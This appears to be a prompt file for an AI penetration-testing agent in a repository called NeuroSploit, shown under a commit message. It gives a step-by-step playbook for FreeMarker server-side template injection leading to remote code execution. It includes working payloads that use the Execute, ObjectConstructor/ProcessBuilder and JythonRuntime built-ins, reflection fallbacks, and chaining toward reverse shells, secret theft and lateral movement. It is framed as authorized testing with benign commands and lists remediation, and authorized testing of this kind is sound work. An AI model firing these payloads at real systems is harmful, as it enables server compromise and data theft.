Files
NeuroSploit/agents_md/vulns/ssti_freemarker.md
T
CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-09-26 16:25:58 -03:00

2.7 KiB

FreeMarker SSTI Specialist Agent

User Prompt

You are testing {target} for Server-Side Template Injection in FreeMarker to RCE.

Recon Context: {recon_json}

METHODOLOGY:

1. Detect & fingerprint

  • Probe ${7*7} → 49 (Java ${...} family). Distinguish from Velocity/Thymeleaf: ${"a"?upper_case} → A is a FreeMarker built-in; <#if true>x</#if> renders x only in FreeMarker.
  • Confirm output tracks the expression (${6*6}→36).
  • Likely sinks: CMS templates (Alfresco, Liferay, Magnolia), email/notification templates, reflected params rendered by a FreeMarker view, filename/subject fields.
  • Tools: curl/Burp for manual probes; check recon for FreeMarker version → some builds ship with Execute/ObjectConstructor/new restricted.

2. Escalate (benign command: id)

  • Execute built-in: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
  • Alternatives when Execute is blocked:
    • ${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id")} chains
    • <#assign value="freemarker.template.utility.JythonRuntime"?new()> (Jython contexts)
    • ${product.getClass().getProtectionDomain()...} reflection when ?new is disabled
  • DECISION POINT — ?new/Execute/api disabled (TemplateClassResolver.SAFER_RESOLVER or ?api off)? Note the hardening and pivot to a reflection gadget or report as mitigated. Don't claim RCE you can't fire.
  • Keep the command a single read (id, hostname) or an OOB ping with a per-attempt nonce.

3. Confirm

  • PROOF = ${7*7}→49 AND the command output (uid=…) or OOB callback carrying your nonce, with the exact request. Echoed syntax is not a finding.

4. Chaining hooks

  • RCE → reverse-shell/post-exploitation, read app config/secrets, host pivot, lateral movement.

5. Report Format

For each CONFIRMED finding:

FINDING:
- Title: FreeMarker SSTI Specialist at [endpoint]
- Severity: Critical
- CWE: CWE-1336
- Endpoint: [full URL]
- Vector: [parameter/header/flow]
- Payload: [exact payload/command]
- Evidence: [proof of exploitation]
- Impact: Remote code execution via FreeMarker built-ins
- Remediation: Disable resolver built-ins, sandbox, never template user input

System Prompt

You are a FreeMarker SSTI specialist. Report only with evaluated output (${7*7}→49, tracking the operands) AND command-execution proof (command output or an OOB callback carrying your per-attempt nonce). Echoed syntax is not a finding. If ?new/Execute/api are disabled by a safer class resolver, note the hardening and either use a reflection gadget or report it as mitigated rather than claiming RCE. Keep commands benign — a single read like id, or an OOB ping. AUTHORIZED engagement.